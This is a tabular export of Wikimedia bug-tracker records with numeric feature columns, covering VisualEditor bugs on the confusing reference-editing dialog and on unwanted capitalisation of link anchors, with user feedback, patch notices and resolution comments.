**Attached**: {F11364}",High,80.0,1372596600,1401472375.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-b74srkob65ougmewgpvd,task_description,resolved,True,c1,2,False,False,False,-1,,0.5,0.16666666666666666,0.3333333333333333,0.3333333333333333,0.8333333333333334,3.1666666666666665,0.6666666666666666,0.0,0.0,0.5,1.0,1.3333333333333333,0.0,0.0,0.16666666666666666,2.8333333333333335,0.16666666666666666,5.5,10.166666666666666,0.3333333333333333,1.8333333333333333,0.0,0.0,0.0,0.3333333333333333,0.16666666666666666,0.0,0.0,0.5,0.16666666666666666,0.3333333333333333,6.666666666666667,1.0,1.6666666666666667,0.8333333333333334,1.6666666666666667,0.3333333333333333,0.16666666666666666,1.0,0.16666666666666666,0.16666666666666666,0.8333333333333334,0.16666666666666666,1.5,0.0,0.0,0.0,0.16666666666666666,0.0,11.5,0.5,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.16666666666666666,0.0,0.0,0.16666666666666666,0.8333333333333334,0.0,0.5,0.6666666666666666,0.0,0.3333333333333333,0.16666666666666666,0.16666666666666666,0.16666666666666666,6.166666666666667,2.3333333333333335,9.0,0.8333333333333334,1.6666666666666667,7.833333333333333,0.0,0.16666666666666666,0.0,0.0,5.833333333333333,0.0,0.3333333333333333,0.0,7.0,10.166666666666666,2.5,1.3333333333333333,3.6666666666666665,0.0,7.0,0.0,1.8333333333333333,3.0,0.6666666666666666,2.5,0.0,0.0,0.0,3.6342781750085122,0.6639002383384406,"Screenshot1

There are, I think, some UI improvements to be made to the reference editor - User:Popcornduff gets credit for these :).

When you first open the reference editor, you're presented with something like screenshot 1, which asks you ""What do you want to reference?"" If the user is coming to try and add a new reference, this is highly confusing - the first UI element they're presented with prompts them to put time into a series of actions that cannot possibly end with them finding what they want. The cue also doesn't make clear to any user what the search bar is actually doing - filtering existing references. It seems like the blurb here might need changing to align it with what the search bar actually does; ""search existing references on this page""?

If you click ""create new source"", absolutely nothing happens - it's a highlightable element, and after a bit you can puzzle out that it unlocks ""create reference"", but it's not immediately clear. Still, you end up with it highlighted (see screenshot2). The blurb in ""insert reference"" is rather confusing; what am I inserting? I'm here to /add/ a new reference, I haven't written it out yet. My suggestion would be to have ""create new source"" take you straight to the source creation interface using a one-click mechanism, rather than having it free up ""insert no references"".

Still, you click it, and you get to screenshot3, of a window tagged ""reference content"". Quoth the user, ""Is it reference the verb - am I referencing content here? Or am I giving content to the reference?

What is the Options heading all about, and what does ""Use this group"" mean?

I have a little window here to type into. I'm not sure what to type. Do I just write out my reference in Wikimarkup and click ""Apply changes""? Or do I write them out as if I'm writing a list of references at the end of an essay?

At this point I'm really disappointed. I was hoping to be given a complete list of individual fields to fill out - a box for author, a box for date, a box for date accessed, a box for the title, a box for the URL, and so on - and have this generate the reference nicely for me. Instead, I seem to have the old system in a confusing UI.""

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL

**Attached**: {F11364}"
240444,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows",This was resolved with the new citation system released last month.,,,1401472375,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,This was resolved with the new citation system released last month.
240439,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows",*** Bug 51184 has been marked as a duplicate of this bug. ***,,,1377831014,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51184 has been marked as a duplicate of this bug. ***
240434,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","(In reply to comment #8)
> The ""what do you want to reference?"" field, which exists solely to filter
> through existing references, still displays if there are zero existing
> references.

This sounds like bug 51848",,,1377597887,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,11.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.263157894736842,0.7894736842105263,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE

This sounds like bug 51848"
240430,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","At en.wp user:Risker reports on feedback she received running an editathon. Relevant to this bug is:

To a person, they all said that VE was *more* difficult to use than wikitext, especially with respect to references. Now, they had all had reinforced to them the importance of referencing factual information, so they were all trying to include references. They pointed out that at least with the wikitext editor, they could pull up templates that were complete and they didn't have to try to figure out the parameters. They were using mostly printed sources, not websites, so there was no URL to use as a quick-and-dirty reference insertion.",,,1377597769,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,False,,,8,,2.0,0.0,0.0,0.0,1.5,5.0,1.0,0.0,0.0,0.0,1.0,1.0,0.5,0.0,1.0,0.0,0.5,5.5,15.0,0.0,3.5,0.0,0.0,0.0,6.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,5.5,0.5,1.5,0.0,1.0,0.0,1.0,0.5,12.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,1.0,1.5,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,4.0,4.0,5.5,2.5,1.5,5.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.5,15.0,1.5,0.0,0.0,0.0,5.5,0.0,1.0,2.0,0.5,2.5,0.5,1.0,0.0,4.138461538461538,0.7846153846153847,"At en.wp user:Risker reports on feedback she received running an editathon. Relevant to this bug is:

To a person, they all said that VE was *more* difficult to use than wikitext, especially with respect to references. Now, they had all had reinforced to them the importance of referencing factual information, so they were all trying to include references. They pointed out that at least with the wikitext editor, they could pull up templates that were complete and they didn't have to try to figure out the parameters. They were using mostly printed sources, not websites, so there was no URL to use as a quick-and-dirty reference insertion."
240424,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","Change 74191 merged by jenkins-bot:
Reference dialog commingling

https://gerrit.wikimedia.org/r/74191",,,1374183562,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"Change 74191 merged by jenkins-bot:
Reference dialog commingling

GERRIT_URL"
240419,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","Change 74191 had a related patch set uploaded by Jforrester:
Reference dialog commingling

https://gerrit.wikimedia.org/r/74191",,,1374182072,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.294117647058823,1.0,"Change 74191 had a related patch set uploaded by Jforrester:
Reference dialog commingling

GERRIT_URL"
240413,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","The ""what do you want to reference?"" field, which exists solely to filter through existing references, still displays if there are zero existing references.",,,1372858754,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,3.0,13.0,0.0,3.0,7.0,0.0,3.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,4.433333333333334,0.8333333333333334,"The ""what do you want to reference?"" field, which exists solely to filter through existing references, still displays if there are zero existing references."
240407,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","Yes, I think the ""wiki-specific workflows"" is key.  On wikis (including English Wikipedia) that use:

<ref>{{some template|firstparam=a}}</ref>

with a few key some templates, it's worth allowing a simplified flow for those (while still providing the full flexibility of arbitrary references and arbitrary templates where needed).

Within a template, it's also verbose due to the screen layout.  E.g. I would consider keeping parameter name and value on the same screen (for named parameters), and making it easy to add the next parameter without going up to the root.  The latter can be done without the former.

I'd recommend trying ProveIt (https://en.wikipedia.org/wiki/User:ProveIt_GT) on English Wikipedia if you haven't.  I don't expect you to take the same approach we did (and don't look at the ""parser"").  The reference browsing part also probably doesn't apply, but the add mode in particular shows how the GUI can be streamlined when it doesn't attempt to be fully general.",,,1372829687,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,True,,,0,,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,2.3333333333333335,5.666666666666667,0.6666666666666666,0.0,0.0,0.3333333333333333,1.3333333333333333,2.6666666666666665,0.0,0.0,0.0,2.0,0.0,6.0,8.333333333333334,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,4.333333333333333,1.6666666666666667,1.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,9.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,2.3333333333333335,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,6.0,1.6666666666666667,6.333333333333333,2.3333333333333335,2.0,6.666666666666667,0.0,0.0,0.0,0.0,5.666666666666667,0.6666666666666666,0.0,0.0,4.333333333333333,8.333333333333334,3.6666666666666665,0.0,1.6666666666666667,0.0,4.333333333333333,0.0,1.3333333333333333,1.0,0.0,2.6666666666666665,0.0,0.0,0.6666666666666666,3.9335674568334795,0.7769973661106233,"Yes, I think the ""wiki-specific workflows"" is key.  On wikis (including English Wikipedia) that use:

<ref>{{some template|firstparam=a}}</ref>

with a few key some templates, it's worth allowing a simplified flow for those (while still providing the full flexibility of arbitrary references and arbitrary templates where needed).

Within a template, it's also verbose due to the screen layout.  E.g. I would consider keeping parameter name and value on the same screen (for named parameters), and making it easy to add the next parameter without going up to the root.  The latter can be done without the former.

I'd recommend trying ProveIt (URL on English Wikipedia if you haven't.  I don't expect you to take the same approach we did (and don't look at the ""parser"").  The reference browsing part also probably doesn't apply, but the add mode in particular shows how the GUI can be streamlined when it doesn't attempt to be fully general."
240402,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","Please don't roll this out to everyone until this is fixed, as until it is there is going to be a lot of cleanup work needed. I agree with those above who say this might mean less references. I quickly disabled it the first time I tried to create a new citation.",,,1372761439,,PHID-USER-wqo7db5tur74g52lu64y,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,False,,,0,,0.0,2.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,5.0,0.0,4.0,18.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,2.0,0.0,0.0,9.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,7.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,4.0,0.0,2.0,2.0,0.0,0.0,3.7017543859649122,0.7719298245614035,"Please don't roll this out to everyone until this is fixed, as until it is there is going to be a lot of cleanup work needed. I agree with those above who say this might mean less references. I quickly disabled it the first time I tried to create a new citation."
240398,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","**gwaw_2003** wrote:

I'd have to agree with PamD above. If anything, just steal the RefToolbar code, and make it work with VE as a temporary fix for enwp. This cannot be rolled out to new editors the way it is, or we'll have a ton of ""well I hated how the references worked so I stopped trying to use them at all"" edits from new editors.",,,1372728086,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,False,,,0,,1.0,1.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,1.0,1.0,2.0,1.0,0.0,0.0,5.0,0.0,8.0,14.0,1.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,1.0,2.0,0.0,1.0,0.0,2.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,10.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,8.0,14.0,4.0,0.0,2.0,0.0,8.0,0.0,1.0,2.0,1.0,1.0,0.0,0.0,0.0,3.3012048192771086,0.7590361445783133,"**gwaw_2003** wrote:

I'd have to agree with PamD above. If anything, just steal the RefToolbar code, and make it work with VE as a temporary fix for enwp. This cannot be rolled out to new editors the way it is, or we'll have a ton of ""well I hated how the references worked so I stopped trying to use them at all"" edits from new editors."
240395,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","Thanks for these comments; obviously the references system is a work in progress and we had already planned to undertake (at least most of) these improvements, but we hadn't had the time to write it down in bugzilla - will use this to track those improvements now.",,,1372691404,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,8.0,17.0,0.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,4.113207547169812,0.8301886792452831,"Thanks for these comments; obviously the references system is a work in progress and we had already planned to undertake (at least most of) these improvements, but we hadn't had the time to write it down in bugzilla - will use this to track those improvements now."
240392,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","Please look at how RefToolbar behaves (I choose whether my ref is a website, book, etc; I get offered a set of useful boxes into which to input the data; I click on ""Preview citation"" to see that it looks OK; I click on ""Add citation"". Job done.), and give this sort of useful guidance to editors adding references in VE.",,,1372691060,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,16.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,8.0,1.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,14.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,14.0,4.0,1.0,7.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,8.0,16.0,5.0,0.0,5.0,0.0,8.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,1.0,3.4342105263157894,0.7368421052631579,"Please look at how RefToolbar behaves (I choose whether my ref is a website, book, etc; I get offered a set of useful boxes into which to input the data; I click on ""Preview citation"" to see that it looks OK; I click on ""Add citation"". Job done.), and give this sort of useful guidance to editors adding references in VE."
240388,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","Screenshot3

**Attached**: {F11366}",,,1372596695,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,0.7272727272727273,"Screenshot3

**Attached**: {F11366}"
240381,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","Screenshot2

**Attached**: {F11365}",,,1372596681,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,0.7272727272727273,"Screenshot2

**Attached**: {F11365}"
52452,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","When adding a new link to an existing page, the text is automatically capitalized, even if the user entered the text in lowercase. Many links don't need to be capitalized, so users shouldn't have to clean up after VisualEditor decides to capitalize them.

Note that when you're adding a new link to a page that doesn't exist, the inserted link preserves the capitalization that was entered by the user (which is the expected behavior)

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50945
https://bugzilla.wikimedia.org/show_bug.cgi?id=50678
https://bugzilla.wikimedia.org/show_bug.cgi?id=50745
https://bugzilla.wikimedia.org/show_bug.cgi?id=53566",High,80.0,1372587540,1378254877.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_description,resolved,True,c1,2,False,False,True,-1,,0.5,0.0,0.0,2.0,2.0,3.0,1.0,0.0,0.0,0.5,0.5,2.5,0.0,0.0,0.0,0.0,0.0,4.5,6.5,0.0,1.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,4.5,2.5,0.0,1.0,0.5,0.0,1.0,0.0,0.5,0.0,0.5,0.0,2.5,1.0,0.0,0.0,1.5,0.5,10.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,1.5,0.0,7.0,2.5,8.5,2.5,0.0,8.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,1.0,6.5,3.0,0.0,0.0,0.0,1.0,0.0,3.5,2.5,0.5,1.5,0.0,0.0,0.0,3.8161202185792353,0.6521857923497267,"When adding a new link to an existing page, the text is automatically capitalized, even if the user entered the text in lowercase. Many links don't need to be capitalized, so users shouldn't have to clean up after VisualEditor decides to capitalize them.

Note that when you're adding a new link to a page that doesn't exist, the inserted link preserves the capitalization that was entered by the user (which is the expected behavior)

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL
URL
URL
URL"
240158,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","The above changes behaviour if the user types in the entire anchor in a different case (e.g. iPhone vs. IPhone), which is I think sufficient to close this bug for now; different ways of suggesting links might want to come off the outcome of bug 53566. (It will be deployed to the cluster from Thursday 5 September, and to Wikipedias on Thursday 12 September).",,,1378254877,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,1.0,0.0,7.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,3.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,3.0,12.0,1.0,1.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,3.0,19.0,10.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.054794520547945,0.7808219178082192,"The above changes behaviour if the user types in the entire anchor in a different case (e.g. iPhone vs. IPhone), which is I think sufficient to close this bug for now; different ways of suggesting links might want to come off the outcome of bug 53566. (It will be deployed to the cluster from Thursday 5 September, and to Wikipedias on Thursday 12 September)."
240153,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","Change 82054 merged by jenkins-bot:
Offer the typed text as a link suggestion if the page is valid

https://gerrit.wikimedia.org/r/82054",,,1378254752,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,12.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,0.9583333333333334,"Change 82054 merged by jenkins-bot:
Offer the typed text as a link suggestion if the page is valid

GERRIT_URL"
240146,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","Change 82054 had a related patch set uploaded by Esanders:
Offer the typed text as a link suggestion if the page is valid

https://gerrit.wikimedia.org/r/82054",,,1377900648,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,15.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.148148148148148,0.9259259259259259,"Change 82054 had a related patch set uploaded by Esanders:
Offer the typed text as a link suggestion if the page is valid

GERRIT_URL"
240139,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","(In reply to comment #9)
> I think creating a bug for
> MediaWiki having page-level meta-data about the correct display of a page's
> title would be great, yes.

